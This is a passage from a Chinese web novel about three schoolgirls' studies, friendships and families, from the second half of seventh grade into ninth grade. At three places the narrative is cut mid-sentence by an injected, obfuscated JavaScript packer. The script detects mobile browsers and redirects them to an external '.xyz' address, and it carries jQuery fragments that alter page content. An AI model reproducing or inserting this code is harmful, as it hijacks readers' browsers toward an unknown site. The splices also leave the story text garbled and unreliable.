秦国栋接过成绩单，仔细看着，脸上露出欣慰的笑容：“不错不错，数学118分，英语满分，语文115分...咦，语文作文被收录到附外素材库了？” 秦语曦点点头，眼睛亮晶晶的：“老师说我那篇作文写得好呢！” 林婉仪摸摸女儿的头：“真棒！不过数学怎么扣了两分？” 秦宇晨拿起数学答题卡，仔细看了看，突然笑出声来：“曦曦，你这粗心的毛病还是没改啊！” 大家都好奇地凑过去看。原来秦语曦在第一道大题的结果写成了0.5+0.05=1，被扣了一分；最后一道动点大题上，她没把结果写完整，只写了8+4=，所以又被扣了一分。 “0.5+0.05=1？”秦国栋哭笑不得，“你这数学是体育老师教的吗？” 林婉仪也忍俊不禁：“最后一道题也是，都做到最后一步了，结果没写完整，太可惜了。” 秦宇晨摇摇头，语气宠溺：“曦曦啊曦曦，你这粗心的毛病什么时候能改？” 秦语曦不好意思地吐吐舌头：“我当时太着急了嘛，想着做完就能交卷了。” 谢雪凤在一旁安静地看着这一幕，心里五味杂陈。她想起自己拿到成绩单时，父母只是简单地说了一句“继续努力”，然后就忙着去工作了。而在秦语曦家，考试成绩成了全家关注的焦点，每个人都会仔细分析，既给予肯定也指出不足。 这种家庭的温暖和关注，是她从未体验过的。 不久，王阿姨做好晚餐，大家移步到餐厅，长长的餐桌上已经摆满了丰盛的菜肴。 谢雪凤看着桌上的菜：清蒸鲈鱼、红烧排骨、白灼虾、蒜蓉西兰花、玉米排骨汤...足足有七八个菜，而且每个菜的量都很足。这比她家过年时的年夜饭还要丰盛。 “来，雪凤，坐这里。”林婉仪热情地招呼着，让谢雪凤坐在秦语曦旁边。 餐桌上，秦家人轻松地聊着天。秦国栋问起秦宇晨的大学生活，林婉仪关心秦语曦的寒假计划，兄妹俩则分享着校园趣事。谢雪凤安静地听着，偶尔被问到时才小声回答。 她注意到，秦语曦和她的家人虽然家境优越，但并没有炫耀或者居高临下的态度。相反，他们很自然地照顾着她的感受，不时把菜转到她面前，或者问她合不合口味。 这种不着痕迹的体贴，让谢雪凤既感动又有些自卑。她多想自己的家人也能这样坐在一起吃饭聊天，而不是匆匆忙忙地扒几口饭就各忙各的。 饭后，林婉仪拿出一些水果和甜点：“来，吃点水果解解腻。” 秦语曦兴奋地拿出自己买的零食：“还有这些！雪凤你快尝尝这个巧克力，可好吃了！” 谢雪凤看着眼前琳琅满目的食物，突然觉得鼻子有些发酸。她努力忍住眼泪，小声说：“谢谢...谢谢你们。” 晚餐后，林婉仪看了看时间，对秦语曦说：“曦曦，我们送雪凤去地铁站吧，天黑了不安全。” 秦语曦点点头，对谢雪凤说：“那件外套你就穿着吧，真的很适合你。” 谢雪凤这次没有拒绝，轻声说：“谢谢...我会好好珍惜的。” 林婉仪开车送两个女孩去地铁站。车上，她温和地对谢雪凤说：“以后常来玩啊，曦曦经常一个人在家，你们可以一起学习。” 谢雪凤点头：“好的阿姨，谢谢您今天的招待。” 到了地铁站，林婉仪停好车，对秦语曦说：“送雪凤进站吧，妈妈在这里等你。” 秦语曦拉着谢雪凤的手走进地铁站。夜晚的地铁站人来人往，两个女孩站在安检口前，一时都不知道该说什么。 最后还是谢雪凤先开口：“今天...真的很谢谢你。还有叔叔阿姨和哥哥，都很好。” 秦语曦笑了：“这有什么好谢的！我们是朋友嘛！” 朋友...谢雪凤在心里默念着这个词。她从未想过，自己能和秦语曦这样的女孩成为朋友。她们的世界如此不同，却又奇妙地连接在了一起。 寒冬渐渐消散，初一下学期的开学季在早春二月的细雨中悄然来临。师大附外的校园里，玉兰花苞在枝头悄然鼓胀，预示着生机勃勃的春天即将到来。 开学第一天，教室里弥漫着新课本的油墨香气和同学们久别重逢的欢快气氛。秦语曦踩着上课铃奔进教室，发梢还挂着细小的雨珠。 “差点迟到！”她气喘吁吁地在陆思敏旁边的座位坐下，从书包里掏出一个精美的笔记本，“新年快乐！这是我舅舅从日本带回来的手账本，送你一本。” 陆思敏惊喜地接过：“好漂亮！谢谢你语曦！” 前排的谢雪凤闻声回头，秦语曦立即从书包里又拿出一本递过去：“雪凤，这是给你的。” 谢雪凤怔了怔，接过本子时指尖微微发颤。封面上精致的樱花图案在灯光下泛着柔和的光泽，这是她从未拥有过的精美文具。 “太贵重了……”她小声说，想要推辞。 秦语曦按住她的手：“就当是新年礼物嘛！我舅舅买了好多，不用客气的。” 谢雪凤抿了抿唇，眼底泛起一丝不易察觉的感动：“谢谢。” 这时班主任陆明宇走进教室，新年第一次班会正式开始。他首先宣布了上学期期末考试的总体情况，特别表扬了取得优异成绩的同学。 “特别要表扬谢雪凤同学，不仅保持了年级第一的好成绩，数学还获得了满分。”陆老师说着，赞许地看向谢雪凤的方向。 教室里响起一阵掌声。谢雪凤微微低下头，耳根泛红。 下课后，几个同学围到谢雪凤桌旁请教数学问题。秦语曦注意到，虽然谢雪凤仍然话不多，但已经会耐心地给同学讲解题目了。 “她变得开朗多了。”陆思敏轻声说。 秦语曦微笑：“是啊，真好。” 四月初，学校组织了春季社会实践活动——去郊区的生态农场体验生活。 大巴车上，同学们兴奋地叽叽喳喳。秦语曦和陆思敏坐在一起，分享着一副耳机听歌。谢雪凤独自坐在前排，看着窗外出神。 到达农场后，第一个活动是学习插秧。同学们换上拖鞋，小心翼翼地踩进泥水里。 “哇！好凉！”陆思敏尖叫着跳起来，差点摔进水里，惹得大家哈哈大笑。 秦语曦也好不到哪去，每走一步都小心翼翼，生怕摔倒。 令人意外的是，谢雪凤动作格外熟练。她利落地卷起裤腿，稳稳地踩在泥水中，插秧的动作又快又标准。 农场负责人惊讶地问：“同学，你以前干过农活？” 谢雪凤点点头：“暑假时会帮爷爷奶奶干活。” 同学们都围过来，好奇地问这问那。那一刻，谢雪凤成了全场的焦点，她耐心地教大家如何插秧才不会倒，如何省力。 秦语曦看着在田间自如穿梭的谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484407|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪凤，突然意识到，每个人都有自己的闪光点，只是在不同的舞台上。 中午野炊时，谢雪凤再次大显身手。她熟练地生火、炒菜，做出来的家常菜让大家都赞不绝口。 “雪凤，你太厉害了！”秦语曦由衷地说，“我都不会做饭……” 谢雪凤笑了笑：“这没什么，多做几次就会了。” 回程的大巴上，同学们都累得东倒西歪。秦语曦靠在陆思敏肩上打瞌睡，朦胧中看到谢雪凤依然坐得笔直，望着窗外的侧脸在夕阳下显得格外宁静。 期中考试在四月下旬进行。这一次，谢雪凤依然稳居年级第一，秦语曦升到了年级第三，梁清嘉则排在第四。 五月的时候，学校要举办文化艺术节。每个班都要出一个节目，五班决定排练一个英语短剧。 “语曦，你来做女主角吧？”文艺委员提议道，“你英语好，形象也好。” 秦语曦连忙摆手：“我不行我不行！我上台会紧张的！” “那谢雪凤来？”有人建议。 谢雪凤也摇头：“我不擅长表演。” 最后角色落在了陆思敏身上。但秦语曦和谢雪凤都被选入了后台工作组，秦语曦负责服装，谢雪凤负责道具。 排练过程中，秦语曦的设计天赋得到了充分发挥。她不仅设计了所有角色的服装，还亲手绘制了背景图。 “语曦，你画得真好！”陆思敏看着精美的背景图，惊叹道。 谢雪凤也轻声说：“很像专业画家画的。” 秦语曦不好意思地笑了：“我就是随便画画。” 艺术节汇演那天，五班的英语短剧获得了巨大成功。谢雪凤制作的道具精致逼真，秦语曦设计的服装更是赢得了阵阵掌声。 谢幕时，班主任特意让后台工作人员也上台谢幕。秦语曦拉着谢雪凤的手走上舞台，台下响起热烈的掌声。 那一刻，两个女孩相视而笑，都在对方眼中看到了喜悦和自豪。 六月来临，期末考试的脚步渐近。教室里的气氛明显紧张起来，下课聊天的人少了，埋头做题的人多了。 一个周一的早晨，秦语曦发现谢雪凤的座位空着。这是从来没有过的情况。 “雪凤请假了？”她问陆思敏。 陆思敏摇头：“不知道啊，没听说。” 秦语曦去班主任，班主任说：“谢雪凤同学家里有点事，请假一天。” 秦语曦心里隐隐不安。放学后，她拉着梁清嘉去了教职工宿舍区。 经过一番打听，她们找到了谢雪凤家。那是一栋老旧的筒子楼，楼道里堆满杂物，光线昏暗。 敲开门，是谢雪凤的大姐。她眼睛红肿，似乎刚哭过。 “你们是雪凤的同学？”她惊讶地问。 秦语曦点头：“听说雪凤请假了，我们来看看她。” 房间里，谢雪凤正坐在小桌子前看书，脸色有些苍白。 “你们怎么来了？”她惊讶地站起来。 原来谢雪凤的母亲前天晚上加班时晕倒了，被确诊为过度劳累。父亲必须在医院陪护，大姐请了一天假照顾弟弟妹妹，谢雪凤只好也请假帮忙。 “阿姨没事吧？”秦语曦担心地问。 谢雪凤摇摇头：“医生说需要休息一段时间，不能再那么劳累了。” 看着狭小拥挤的房间，和谢雪凤疲惫的神情，秦语曦心里酸涩不已。 第二天，秦语曦带来一个保温桶：“这是我让阿姨炖的鸡汤，给阿姨补补身体。” 谢雪凤怔怔地接过，眼眶微微发红：“谢谢……” 8. 8. 期末考前一周，秦语曦发现谢雪凤的状态很差，经常上课走神，黑眼圈也很重。 “你晚上没睡好吗？”她关心地问。 谢雪凤摇摇头：“没事，就是有点累。” 秦语曦想了想，从书包里掏出一个精致的盒子：“这个给你。” 里面是各种颜色的补充能量的糖果和巧克力。 “学习累了就吃一颗，”秦语曦说，“我哥哥考试前妈妈就给他准备这个。” 谢雪凤接过盒子，手指微微颤抖：“语曦，你为什么对我这么好？” 秦语曦歪着头想了想：“因为我们是朋友啊！” 期末考试终于结束了。成绩出来那天，谢雪凤依然位居年级第一，秦语曦考了年级第四，梁清嘉第三。 放学后，三个女孩一起走出校门。 “暑假有什么计划？”梁清嘉问。 秦语曦说：“去画画。你们呢？” 陆思敏说：“我要回老家看爷爷奶奶。雪凤呢？” 谢雪凤轻声说：“我要帮忙照顾妈妈，可能还会找点零工。” “这个送你，”秦语曦从手腕上解下一条精致的手链，“暑假快乐！” 不等谢雪凤反应，她就跑回了梁清嘉身边。 谢雪凤站在原地，看着手中在夕阳下闪闪发光的手链，许久，轻轻握紧了手掌。 初一下学期就这样结束了。而前方，还有更长的路要走。 初二的开学季，夏日的余热尚未完全散去，师大附外的校园里却已经弥漫着新的学习气息。对秦语曦和她的同学们来说，这个学期意味着一个新的挑战——他们开始学习物理了。 “从今天开始，我们将一起探索奇妙的物理世界。”李老师微笑着在黑板上写下“物理”两个大字，“物理是一门研究物质运动规律和物质基本结构的学科，它无处不在……” 第一个月，物理课内容还比较简单，主要讲一些基础概念和力学知识。秦语曦学得还算轻松，经常能拿到不错的分数。 然而，当课程进行到电学部分时，情况开始变得复杂起来。电流、电压、电阻、电磁场……这些抽象的概念让很多同学感到头疼。 “我完全听不懂啊！”某天放学后，梁清嘉哀嚎着趴在课桌上，“什么左手定则右手定则，我的左右手都要打结了！” 秦语曦也被电磁场的概念搞得晕头转向：“确实有点难，特别是那个电磁感应的部分……” 谢雪凤轻声说：“要多想象一下，把抽象的概念具体化。” 话虽如此，但秦语曦发现自己总是无法理解那些抽象的电场线和磁感线。更糟糕的是，每次老师讲到“电磁”这个词时，她总会莫名其妙地联想到“糍粑”——那种外酥里嫩、香甜可口的传统小吃。 这个奇怪的联想让她自己都感到哭笑不得。为什么偏偏是糍粑呢？也许是因为“电磁”和“糍粑”在发音上有些相似？或者是她太爱吃糗粑了？ 期中考试来临前，物理成了大家重点复习的科目。秦语曦虽然很努力，但那些电场线、磁感线在她脑海中总是会和香喷喷的糍粑形象重叠在一起。 考试那天，秦语曦特意没吃太多早餐，怕吃太饱会犯困。前几科考得还算顺利，但当物理试卷发下来时，她心里还是咯噔了一下。 选择题和填空题做得还算顺利，但到了大题部分，她的肚子开始不争气地叫了起来。偏偏第一道大题就是关于电磁场的题目，题干中反复出现“电磁”两个字。 “在匀强磁场中，有一导体棒以速度v匀速运动……”秦语曦读着题目，努力集中注意力。 但她的肚子又叫了一声，这次更加响亮。前排的同学甚至回头看了她一眼。 秦语曦的脸一下子红了。她越是试图忽略饥饿感，就越是忍不住去想各种美食。而“电磁”两个字在她眼中渐渐变成了“糍粑”…… “假设磁感应强度为B，导体棒长度为L……”她尝试着继续读题，但脑海中却浮现出金黄酥脆的糍粑在油锅中滋滋作响的画面。 “求导体棒中的感应电动势……”题目这样要求着，但秦语曦的思维已经完全跑偏：糍粑要蘸白糖才好吃，或者裹上花生粉也很香…… 时间一分一秒地过去，她的肚子叫得越来越欢。最终，秦语曦放弃了挣扎，跳过了这道大题，决定先做后面的题目。 后面的题目相对顺利一些，虽然压轴题很难，但她还是勉强写了解题过程。只是最后的结果写得有些潦草，连她自己都快认不出来了。 交卷铃响时，秦语曦看着那道空白的大题，心里充满了懊悔。整整8分啊！就这样因为肚子饿而放弃了。 成绩出来的那天，秦语曦简直不敢看排名。果然，因为物理少了一道大题，她的总分受到了很大影响，第一次跌出了年级前十，排在第十二名。 谢雪凤依然是年级第一，梁清嘉在第四名。 “语曦，你怎么了？”梁清嘉关切地问，“物理居然有一道大题没写？” 秦语曦有苦说不出，只能含糊其辞：“当时状态不好……” 周五放学回家，秦语曦心情低落。她把书包里的课本随手堆在茶几上，开始写作业。写完作业后，她窝在沙发上打游戏，试图用这种方式忘记考试失利的烦恼。 晚上八点多，加班结束的秦国栋和林婉仪回到家里，看到女儿正在打游戏。 “曦曦，作业写完了吗？”林婉仪一边换鞋一边问。 “写完了。”秦语曦头也不抬，继续盯着屏幕。 秦国栋注意到茶几上堆着的课本和试卷，随手拿起最上面的物理答题卡。当看到第一道大题空白时，他皱了皱眉；再看到压轴题的结果被圈出来打了个问号扣了一分，他的眉头皱得更紧了。 “曦曦，这道题为什么空着？”秦国栋指着第一道大题问道，“压轴题你都会写，这道题肯定也会啊。” 秦语曦暂停游戏，抬起头来，小声说：“当时饿了，写不下。” 秦国栋和林婉仪对视了一眼，无语凝噎。这个理由实在是太……出乎意料了。 “饿了？”林婉仪哭笑不得，“你早上没吃饭吗？” “吃了，但是考试的时候又饿了……”秦语曦越说声音越小，自己也觉得这个理由很荒谬。 秦国栋摇摇头，想说什么又咽了回去。最终他只是叹了口气：“下次考试前记得吃点东西，别饿着肚子考试。” 这件小事就这样过去了，但秦语曦在心里暗暗发誓，下次考试一定要做好准备，不能再犯这种低级错误。 时间过得很快，转眼就到了初二上学期临近期末的时候。这段时间，秦语曦在英语和作文方面取得了突出的成绩。 先是全国中学生英语竞赛，秦语曦以接近满分的成绩获得了一等奖。接着，她又在那年举办的省级作文大赛中脱颖而出，拿到了特等奖。 周五晚上写作业时，秦语曦随手把两本荣誉证书塞到了作业堆里，然后就忘了这件事。对她来说，这些奖项虽然值得高兴，但并不是什么特别值得炫耀的事情。 直到周六晚上，林婉仪帮第二天要去学校的秦语曦收拾书包时，才发现了那两本鲜红的荣誉证书。 “老秦！快来看！”林婉仪惊喜地叫道，“曦曦拿了英语竞赛一等奖和作文大赛特等奖！” 秦国栋闻声赶来，接过证书仔细查看，脸上露出欣慰的笑容：“这孩子，得了奖也不告诉我们一声。” 两人高兴极了，当即给秦语曦发了个大红包，还把荣誉证书拍照发到了朋友圈。 不一会儿，朋友圈就炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484408|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了锅。亲戚朋友纷纷点赞评论，夸奖秦语曦优秀。梁清嘉的妈妈刘敏敏评论道：“曦曦真棒！” 秦语曦看到后，不好意思地回复：“清嘉也很棒！我们一起进步！” 期末考试时，秦语曦吸取了期中考试的教训，考前特意吃了顿丰盛的早餐。这次她发挥稳定，以年级第五名的成绩圆满收官。谢雪凤自然是双料第一，梁清嘉也取得了年级第八的好成绩。 寒假开始了，这个寒假对秦语曦家来说格外特别——秦宇晨考研结束了。 考完研的秦宇晨不再像去年整年那样紧绷着神经，整个人轻松了许多。他在G市找到了一份实习工作，因此寒假里能在家多陪陪家人，特别是和秦语曦相处的时间多了很多。 大年初二那天，秦语曦邀请谢雪凤来家里玩。这是谢雪凤第二次来秦语曦家，但依然显得有些拘谨。 午餐时，林婉仪与秦国栋一起准备了一桌丰盛的菜肴，不停地给谢雪凤夹菜：“多吃点，看你瘦的。” 饭后，让谢雪凤意想不到的事情发生了——秦国栋、林婉仪甚至秦宇晨都给了她红包。 “叔叔阿姨，哥哥，这不行……”谢雪凤连忙推辞，“我已经不是小孩子了……” 秦语曦一把抓过红包，硬塞进谢雪凤的口袋里：“给你就拿着嘛！这是我们的传统！” 谢雪凤推辞不过，只好红着脸收下了。回家的路上，她打开红包一看，顿时惊呆了——秦国栋和林婉仪的红包各有200元，秦宇晨的红包是100元。这对她来说是一笔不小的数目，相当于她一个月的生活费。 她的眼眶微微湿润了。这些年来，因为家境贫寒，她很少收到红包，更别说这么厚的红包了。秦家人的善意让她感到温暖，也让她更加坚定了要努力学习的决心。 二月底，考研成绩出来了。秦宇晨考了432分，这个消息让全家人都高兴极了。 “432分！太棒了！”秦国栋激动地拍着儿子的肩膀，“我就知道你能行！” 林婉仪更是喜极而泣：“这一年辛苦了，妈妈为你骄傲！” 为了庆祝这个好消息，全家决定去一家高档西餐厅吃顿饭。餐厅环境优雅，柔和的灯光下，一家人其乐融融。 席间，秦语曦跟秦宇晨要了成绩截图，发了一条朋友圈：“蹭蹭老男人的热度[狗头]”配图是秦宇晨的考研成绩单。 秦宇晨看到后，好笑地捏着妹妹的脸：“蹭我的热度还嫌我老呢？” 秦语曦嘟着嘴巴：“你比我大八岁就是老了嘛！” 秦国栋和林婉仪被兄妹俩的互动逗得笑出声来。 不一会儿，梁清嘉评论了这条朋友圈：“我也来蹭蹭老男人的热度”配图是梁清树的考研成绩单——427分，同样很优秀。 秦语曦回复评论：“牛逼” 谢雪凤看着手机屏幕上这两张成绩截图，心里充满了羡慕和向往。她去网上搜了搜，才知道考研总分是500分，而秦宇晨和梁清树都考了420多分，这是非常高的分数。 “读研究生的话，薪资待遇会更好吧？”她暗自思忖，“这样就能更快地改善家里的经济状况了。” 这个想法在她心中生根发芽。她暗下决心，一定要努力学习，将来也要考研，用助学贷款上学。等毕业后找到好工作，就能让家人过上好日子了。 那天晚上，谢雪凤在日记本上写下这样一句话：“知识改变命运，我要像他们一样优秀。” 春去秋来，初二的生活就在这样的日常中缓缓流逝。有学习的压力，有友谊的温暖，有家庭的关爱，也有对未来的憧憬。 秦语曦依然会在物理课上偶尔走神想到美食，但已经学会了考前吃饱肚子；谢雪凤依然刻苦学习，但不再独来独往，而是会主动参与集体活动。 9. 9. G市的八月炎热无比，气温保持在35度左右。秦语曦在一个月后升入九年级，要面临中考了。中考，这个对于中国学生至关重要的分流点，已经不再是遥远的概念，而是清晰地矗立在不到一年的未来。 即将升入北大计算机系攻读研究生的秦宇晨，结束了大四暑假的实习，在家等待开学。难得的清闲时光，他看着即将升初三的妹妹，想起九年级要新开化学课，便自告奋勇想给秦语曦提前预热一下。 他特意跑去新华书店买了一本崭新的九年级化学课本，摊开在客厅的茶几上。秦语曦盘腿坐在柔软的地毯上，手里抱着一杯林婉仪鲜榨的果汁，眨着大眼睛，一副“我很认真”的样子听着哥哥讲课。 秦宇晨讲得深入浅出，从元素符号到简单的化学反应，尽量让内容变得有趣。秦语曦听得很认真，努力跟着思路。当讲到“常见的酸”这一节，介绍到硫酸时，秦宇晨正色道：“硫酸是一种非常重要的工业原料，但它具有极强的腐蚀性，使用时必须非常小心……” 话音刚落，秦语曦突然抬起头，眼神里充满了天真又离谱的好奇，脱口而出：“哥哥，硫酸……能烤肉吗？” “……” 一瞬间，客厅里安静得只剩下空调运转的微弱嗡鸣。 秦宇晨脸上的表情瞬间凝固，讲解的手势僵在半空。他缓缓转过头，用一种混合了震惊、困惑和“我妹妹是不是被什么奇怪东西附体了”的眼神看着秦语曦，仿佛在看一个外星生物。 正在旁边单人沙发上用笔记本电脑处理邮件的秦国栋，敲击键盘的手指猛地一顿，抬起头，嘴唇动了动，似乎想说什么，但又觉得任何语言在此刻都显得苍白无力。他脸上是一种极致的“欲言又止，止又欲言”的复杂表情，最终化为一声无奈的叹息，推了推眼镜，继续看向屏幕，但注意力已经无法集中。 刚从厨房端出一盘切好的水果的林婉仪恰好听到这句，一个趔趄差点没把果盘扔了。她放下果盘，走到女儿身边，又好气又好笑地揉了揉秦语曦的脑袋，语气里满是无奈：“宝贝，你这小脑袋瓜里一天到晚都在想些什么呢？硫酸烤肉？你怎么不用它来泡澡呢？” 秦语曦看着哥哥和爸爸的反应，后知后觉地意识到自己可能问了一个非常愚蠢的问题，脸颊微微泛红，小声嘟囔：“我…我就是好奇嘛…不是说浓度高的酸有强腐蚀性吗……” 秦宇晨终于从石化状态中恢复过来，他深吸一口气，推开了眼前的化学课本，决定暂时放弃预习计划。他表情严肃地转向妹妹，开始了长达二十分钟的“硫酸危险性及科学应用”的紧急科普教育，从浓硫酸的脱水性到稀硫酸的酸性，从实验安全规范到工业用途，讲得条理清晰、证据充分，试图彻底扭转妹妹脑中那个危险的、关于“硫酸烤肉”的荒谬联想。 秦语曦听得一愣一愣的，终于彻底明白自己刚才的想法有多么异想天开和危险。她吐了吐舌头，保证再也不胡思乱想了。这场小小的闹剧以林婉仪笑着打圆场，催促兄妹俩快点吃水果告终。但也让秦宇晨意识到，妹妹的思维发散性极强，以后辅导功课得时刻做好应对各种“奇思妙想”的准备。 进入九年级，秦语曦的学习生活按部就班却又丰富多彩。她依然是老师眼中的宠儿，她的文科优势继续保持，语文课上她的作文屡屡被当做范文朗读，那篇获得省特等奖的作文更是被语文老师珍藏。英语对于她而言几乎是第二母语，全国竞赛一等奖的实力让她在课堂上显得游刃有余。 理科方面，有了暑假哥哥那次“印象深刻”的启蒙，她对化学倒是产生了一些别样的兴趣，虽然不再提“烤肉”的事，但总会问一些让化学老师既头疼又欣赏的、角度清奇的问题。 数学和物理她学得不算吃力，成绩保持在优秀线以上，虽然不像文科那样能冲到最顶尖，但足以保证她的总成绩稳定在年级前列。 她的生活并不全是学习。钢琴练习没有间断，指尖流出的音符是她放松的方式；画画依旧是她的爱好，课本的边角偶尔会出现她随手画下的Q版老师或同学，惟妙惟肖，让人忍俊不禁。父母工作依然忙碌，但会尽量保证周末回家陪伴她。秦宇晨去了北京读研，但经常会通过视频电话关心她的学习，偶尔还会寄来一些北大的明信片或小纪念品，激励她努力。 与秦语曦的从容相比，谢雪凤的九年级上学期，更像是一场沉默的、全力以赴的奔跑。 家里的经济状况依然拮据。大姐谢雪菲考上了省重点三中，虽然申请了助学贷款和勤工俭学，但多少还是需要家里补贴一些。 弟弟退学后无所事事，偶尔打点零工也是三天打鱼两天晒网，不仅不能帮衬家里，有时还要向父母要钱。谢雪凤深知自己肩上承载着家庭的希望，她唯一的出路就是用知识改变命运。 她依然是全校最用功的学生。每天天不亮就起床，在宿舍其他同学还在熟睡时，就已经在走廊尽头借着灯光背诵单词和古文。 早餐依旧是雷打不动的馒头，偶尔会奢侈地加一杯豆浆。午餐和晚餐，她总是最后一个去食堂，打最便宜的素菜，米饭却吃得很多，因为要支撑高强度的脑力消耗。 她的成绩一如既往地稳定而耀眼，几乎垄断了所有考试的年级第一。老师们对她寄予厚望，认为她是冲击中考状元、为学校争光的最有力人选。同学们敬佩她，但也觉得她有些难以接近，她总是行色匆匆，沉默寡言，仿佛一台精密的学习机器。 只有她自己知道，这份“稳定”背后需要付出多少。她不敢有一丝一毫的松懈，每一次考试都力求完美。因为她知道，只有最好的成绩，才能换取最好的高中可能提供的奖学金，才能减轻家庭的负担，才能对得起母亲叶桂兰在学校后勤部门辛苦的工作，对得起父母咬牙支撑她和一个姐姐读高中的决心。 秦语曦依旧是她生活中为数不多的温暖来源。秦语曦还是会时不时地“吃不掉”多打一份的饭菜，“用不着”一些半新的文具和辅导书，“正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484409|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有”多余的零食分享给她。 谢雪凤感激之余，那份微妙的敏感和自尊心也时常折磨着她。她接受这些帮助，因为确实能改善她的生活，但她总是暗暗发誓，将来一定要报答。她更加努力地学习，似乎只有用更好的成绩，才能稍稍平衡内心的那种亏欠感。 生活也不全是苦闷。当她解出一道极难的数学题，当她的作文得到老师的高度评价，当她看到自己的名字稳稳排在成绩单第一位时，内心深处也会涌起巨大的成就感和快乐。那是她通过自己的双手挣来的、实实在在的慰藉。 梁清嘉的九年级上学期，则显得更为洒脱和自如。 她和秦语曦依然是形影不离的好友。两人经常一起讨论问题，分享学习资料，也一起抱怨考试的变态和作业的多。梁清嘉的天赋似乎比秦语曦更为外露一些，她思维敏捷，反应极快，往往老师一点就透，甚至能举一反三。她的成绩非常稳定，总是在年级前三徘徊，偶尔还能超过谢雪凤拿到第一。 她不像谢雪凤那样把所有时间都投入学习，也不像秦语曦那样有那么多课外兴趣需要兼顾。她似乎总能找到学习和娱乐的平衡点。下课铃一响，她往往是第一个合上书本，拉着秦语曦去小卖部或者操场放松的人。 她的家庭氛围开明而宽松。梁建宏和刘敏敏工作繁忙，但对子女的教育理念是引导而非强迫。梁清树在清华读研，经常远程给她灌输一些“大学好玩着呢”、“别光死读书”的观念。因此，梁清嘉的心态很好，虽然也知道中考重要，但并不会为此焦虑到寝食难安。 她有时会注意到谢雪凤的沉默和刻苦，也会主动分享一些好吃的给她，或者在她遇到难题时主动讲解。但她不像秦语曦那样细致和坚持，她的关心更像是一种天性使然的友善，而非刻意的帮扶。 三个女孩生活在同一个空间，却又沿着各自不同的轨道运行。 秦语曦和梁清嘉是亲密无间的伙伴，分享着少女的心事和学习的乐趣。谢雪凤则更像一个孤独的奔跑者，她们尊重她，偶尔会交流学习，但很难真正走入她的内心世界。 时间在紧张的课程、频繁的测验、体育训练的汗水以及偶尔的校园活动中飞逝。秋去冬来，期末考试的紧张气氛愈发浓烈。 考试结束，成绩公布。没有任何悬念，谢雪凤再次位居年级第一，总分高得令人惊叹。梁清嘉以极其微弱的差距位列第二，秦语曦紧随其后，排在第三。但秦语曦的优势在于她璀璨的奖项：全国中学生英语竞赛一等奖、省作文大赛特等奖的证书，为她的综合实力增添了极具分量的砝码。 九年级的上学期，就在期末考试的尘埃落定和即将到来的寒假期盼中结束了。对于秦语曦、梁清嘉和谢雪凤而言，这个学期是充实的、有压力的，也是收获的。她们在自己的轨道上努力奔跑着，为即将到来的中考冲刺积蓄着力量。而她们的努力和光芒，已经提前被更高处的学府所注视，新的机遇和选择，正在不远的前方悄然酝酿。 10. 10. 在秦语曦、梁清嘉与谢雪凤不知道的是，九年级上学期期末成绩出来的第二天，师大附中就已经注意到她们了。 冬日的阳光透过高大的樟树，在窗台上投下斑驳的光影，带着一种慵懒的暖意。但师大附中高中部文科教研组组长何婉莹的办公室里，气氛却与这份慵懒截然不同。 空气里弥漫着淡淡的茶香和书卷气，几张宽大的办公桌上堆满了教案、试卷和各种获奖证书的复印件。期末考试的余温尚未完全散去，但对于何婉莹和她的同事们来说，新一轮的“人才争夺”和“未来规划”已经悄然开始。 何婉莹正坐在电脑前，屏幕上是学校内部的学生信息管理系统。这套系统在附中及其同属一个教育集团的兄弟学校——师大附属外国语学校间共享，方便集团内教师了解潜在优质生源的全面情况。 她正在筛选刚刚结束的九年级上学期期末成绩优异，且有过硬竞赛奖项的学生名单，这是附中高中部提前锁定优秀生源、尤其是文科苗子的常规操作。 “这次期末的语文作文整体水平不错。”何婉莹轻声自语，抿了一口手边的红茶。她点开了一个筛选条件——“全国中学生英语竞赛一等奖（初中组）”。 列表刷新，排在第一位的名字是：秦语曦，师大附属外国语学校，初三（五）班。 何婉莹点了进去。秦语曦的信息页面弹了出来。成绩一栏赫然显示：总分：年级第二。下面罗列着详细的科目分数，语文和英语几乎是满分，数学和理科也相当不俗。 “哦？这成绩很均衡啊，不偏科。”何婉莹来了兴趣，身体微微前倾。她继续往下看获奖情况： ·八年级：全国中学生英语竞赛（初中组）一等奖 ·八年级：X省中学生作文大赛特等奖 ·小学：市级作文大赛特等奖、市级英语竞赛一等奖、市级三好学生… 何婉莹的嘴角泛起一丝欣赏的笑意：“基础打得真扎实，语文和英语优势从小学就开始了…嗯？数学还考过三次年级第一？”她注意到成绩趋势图里的备注，“这小姑娘，有点意思。” 